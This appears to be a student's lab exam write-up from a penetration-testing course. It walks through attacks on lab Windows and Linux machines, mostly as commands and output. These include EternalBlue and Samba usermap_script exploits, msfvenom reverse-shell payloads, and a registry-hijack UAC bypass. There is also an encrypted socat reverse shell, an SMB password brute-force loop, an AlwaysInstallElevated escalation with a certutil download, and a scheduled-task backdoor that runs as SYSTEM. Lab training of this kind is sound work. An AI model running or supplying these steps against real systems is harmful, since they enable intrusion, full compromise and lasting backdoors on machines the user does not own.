

## July Test @SureTrust

### **1.Privilege Escalation over win 7 (using bypass uac)**

Step 1:

```
msfconsole
```

```
use exploit/windows/smb/ms17_010_eternalblue
```

```
set RHOSTS 192.168.130.230
```

```
set LHOST 192.168.130.33
```

```
set LPORT 4444
```

```
set PAYLOAD windows/x64/meterpreter/reverse_tcp
```

```
exploit
```

Step 2: Manual UAC Bypass via eventvwr.exe

```
msfvenom -p windows/x64/meterpreter/reverse_tcp
```

```
LHOST=192.168.130.33 LPORT=5555 -f exe > uac_bypass.exe
```

```
msfconsole
```

```
use exploit/multi/handler
```

```
set PAYLOAD windows/x64/meterpreter/reverse_tcp
```

```
set LHOST 192.168.130.33
```

```
set LPORT 5555
```

```
exploit
```

Step3.

Uploading the payload into victim system (via Meterpreter):

```
upload uac_bypass.exe
```

```
C:\\Users\\<username>\\AppData\\Local\\Temp\\uac_bypass.exe
```

Step4: Hijacking the Registry Key (in Meterpreter shell):

```
shell
```

```
reg add
```

```
HKCU\\Software\\Classes\\mscfile\\shell\\open\\command /d
```

```
"C:\\Users\\<username>\\AppData\\Local\\Temp\\uac_bypass.exe" /f
```

Step5: Triggering UAC Bypass:

```
start eventvwr
```

Confirmed Elevated Access

Step6: In the new session:

```
getuid
```

```
NT AUTHORITY\\SYSTEM
```

## **2. SMB service exploit for Metasploitable2**

1.Target OS:

Metasploitable2 (Linux, Ubuntu 8.04 with Samba 3.x)

2.Exploit Used:

exploit/multi/samba/usermap\_script

3.Metasploit Configuration:

set RHOSTS 192.168.130.54

set LHOST 192.168.130.32

set LPORT 4444

set PAYLOAD cmd/unix/reverse\_netcat

run

4.Result:

Reverse shell successfully opened

5.Ran whoami → output: root

System fully compromised via SMB

### 3. Encrypted Reverse shell using socat in Ubuntu

Step 1: Generated a Self-Signed SSL Certificate on Kali

```
openssl req -x509 -newkey rsa:2048 -nodes -keyout key.pem  
-out cert.pem -days 365
```

```
cat key.pem cert.pem > fullchain.pem
```

Step 2: Starting Encrypted Listener for access

```
socat -v OPENSSL-  
LISTEN:4443,cert=fullchain.pem,verify=0,fork STDOUT
```

Step 3: Running the Reverse Shell on Ubuntu

```
socat -v EXEC: "/bin/bash",pty,stderr,setsid,sigint,sane  
OPENSSL:<kali ip>:4443,verify=0
```

**4.smb brute force on metasploitable2 without using msfconsole module,hydra,x-hydra,medusa,n-crack,crunch.(username-service,user,abc,root,superuser,msfadmin,services) (password-123,root,toor,msfadmin,services,user,service)**

1st Method :

```
1.smbclient -L //192.168.130.54 -U "msfadmin%msfadmin" --  
option='client min protocol=NT1' -m SMB1
```

```
2.smbclient //192.168.130.54/msfadmin -U  
"msfadmin%msfadmin"
```

```
smb: \>
```

```
ls
```

2nd Method :

Step1: Created usernames.txt and passwords.txt files

Step2: while read user; do

while read pass; do

echo "[\*] Trying \$user : \$pass"

```
smbclient -L //192.168.130.54 -U "$user%$pass" --  
option='client min protocol=NT1' -m SMB1
```

echo "-----"

done < passwords.txt

done < usernames.txt

## 5.Win10 always elevated exploit

Step 1: Generating the Reverse Shell (EXE) with msfvenom

```
msfvenom -p windows/x64/shell_reverse_tcp  
LHOST=192.168.130.33 LPORT=4444 -f exe > access.exe
```

Step 2: Payload sent via Python3 -m http.server 80 and downloaded on target system

Step 3: Started the Listener on Kali

```
nc -lvnp 4444
```

Got the revshell

Step 4: Modified the target Defender Policies

Step 5: Create the Priv-Esc on kali with .msi Payload

```
msfvenom -p windows/x64/shell_reverse_tcp  
LHOST=192.168.130.33 LPORT=5555 -f msi >  
system_access.msi
```

Step 6: Transferred the .msi payload to the Target

```
python3 -m http.server 80
```

```
certutil -urlcache -split -f  
http://192.168.130.33/system_access.msi  
C:\Users\Public\system_access.msi
```

Downloads a file from a remote HTTP server to the target  
Windows 10

Uses certutil, a built-in Windows tool for managing  
certificates — often abused by attackers for file transfers

Step 7: Start New Listener for SYSTEM Shell (Kali)

```
nc -lvnp 5555
```

Step 8: Executed the .msi payload on Target as Standard User

```
msiexec /quiet /qn /i C:\Users\Public\system_access.msi
```

Silently installs the .msi file using msiexec, the Windows  
Installer service

Step 9: At nc Listener 5555 got connection

```
whoami
```

```
nt authority\system
```

Step 10: Also Created Payload Called BackDoor\_Persist.exe

```
msfvenom -p windows/x64/shell_reverse_tcp
```

```
LHOST=192.168.130.33 LPORT=7777 -f exe >
```

```
persist_backdoor.exe
```

Step 10: Copied the payload through the admin access on kali

```
copy \\192.168.130.33\kaliShare\persist_backdoor.exe  
C:\Windows\System32\persist_backdoor.exe
```

Step 11: Created Persistent Execution with schtasks on Windows 10 Via admin access on kali

```
schtasks /create /sc onlogon /tn "WinSysTask" /tr  
"C:\Windows\System32\persist_backdoor.exe" /ru SYSTEM
```

Step 12: Started the Listener on Kali

```
nc -lvnp 7777
```

Step 13: Restarted the Target System

Step 14: Got the BackDoor\_Persist Connection After rebooting the target system at port

```
nc -lvnp 7777
```

```
whoami
```

```
nt authority\system
```

by

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